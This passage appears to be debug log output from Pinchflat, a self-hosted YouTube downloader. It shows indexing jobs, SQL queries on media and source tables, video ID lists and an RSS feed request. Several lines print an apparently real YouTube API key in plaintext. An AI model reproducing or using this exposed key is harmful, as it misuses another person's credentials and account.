m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:27:29.883 [debug] QUERY OK source="tasks" db=0.1ms idle=262.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268241, 22, ~U[2026-10-09 21:27:29Z], ~U[2026-10-09 21:27:29Z]] 16:27:29.883 [info] {"args":{"id":22},"id":5268201,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":264181,"event":"job:stop","queue_time":493708,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:30.203 [debug] QUERY OK source="media_items" db=0.7ms idle=319.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 16:27:30.206 [debug] QUERY OK source="media_items" db=2.9ms idle=320.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:27:30.207 [debug] QUERY OK source="tasks" db=0.1ms idle=317.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268242, 10, ~U[2026-10-09 21:27:30Z], ~U[2026-10-09 21:27:30Z]] 16:27:30.207 [info] {"args":{"id":10},"id":5268202,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":588267,"event":"job:stop","queue_time":236837,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:30.621 [info] {"args":{"id":4},"id":5268203,"meta":{},"system_time":1791581250621269602,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:30.621 [debug] QUERY OK source="sources" db=0.1ms idle=413.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:27:30.621 [debug] QUERY OK source="settings" db=0.0ms idle=413.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:30.622 [debug] QUERY OK source="media_profiles" db=0.1ms idle=407.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:30.622 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:30.622 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:27:30.622 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:30.622 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:30.827 [debug] QUERY OK source="media_items" db=0.5ms idle=205.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 16:27:30.828 [debug] QUERY OK source="media_items" db=0.4ms idle=206.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:27:30.829 [debug] QUERY OK source="tasks" db=0.1ms idle=206.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268243, 4, ~U[2026-10-09 21:27:30Z], ~U[2026-10-09 21:27:30Z]] 16:27:30.829 [info] {"args":{"id":4},"id":5268203,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":207882,"event":"job:stop","queue_time":365549,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:31.119 [info] GET /sources/03326ffe-bc9f-49e9-b871-f1a05c201b77/feed.xml 16:27:31.119 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03326ffe-bc9f-49e9-b871-f1a05c201b77"} Pipelines: [:maybe_basic_auth] 16:27:31.120 [debug] QUERY OK source="sources" db=0.1ms idle=291.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03326ffe-bc9f-49e9-b871-f1a05c201b77"] 16:27:31.120 [debug] QUERY OK source="media_items" db=0.8ms idle=291.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [20, 2000] 16:27:31.124 [debug] QUERY OK source="source_metadata" db=0.1ms idle=294.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [20] 16:27:31.124 [debug] QUERY OK source="media_metadata" db=0.0ms idle=294.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577889] 16:27:31.124 [info] Sent 200 in 4ms 16:27:44.630 [info] {"source":"oban","duration":9818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:27:52.643 [info] {"args":{"id":44},"id":5268204,"meta":{},"system_time":1791581272643827051,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:52.644 [debug] QUERY OK source="sources" db=0.1ms idle=1950.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 16:27:52.644 [debug] QUERY OK source="settings" db=0.0ms idle=1007.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:52.644 [debug] QUERY OK source="media_profiles" db=0.1ms idle=950.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:52.644 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:52.644 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 16:27:52.644 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:52.644 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:52.821 [debug] QUERY OK source="media_items" db=0.3ms idle=177.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 16:27:52.822 [debug] QUERY OK source="media_items" db=0.1ms idle=178.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 16:27:52.823 [debug] QUERY OK source="tasks" db=0.1ms idle=178.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268244, 44, ~U[2026-10-09 21:27:52Z], ~U[2026-10-09 21:27:52Z]] 16:27:52.823 [info] {"args":{"id":44},"id":5268204,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":179460,"event":"job:stop","queue_time":481681,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:53.645 [info] {"args":{"id":7},"id":5268205,"meta":{},"system_time":1791581273645179282,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:53.645 [info] {"args":{"id":25},"id":5268206,"meta":{},"system_time":1791581273645221721,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:53.645 [debug] QUERY OK source="sources" db=0.1ms idle=822.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:27:53.645 [debug] QUERY OK source="sources" db=0.1ms idle=822.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:27:53.645 [debug] QUERY OK source="settings" db=0.1ms idle=816.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:53.645 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:53.645 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:53.646 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:53.646 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:53.646 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:27:53.646 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:53.646 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:53.646 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:53.646 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:27:53.646 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:53.646 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:53.835 [debug] QUERY OK source="media_items" db=0.6ms idle=188.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", 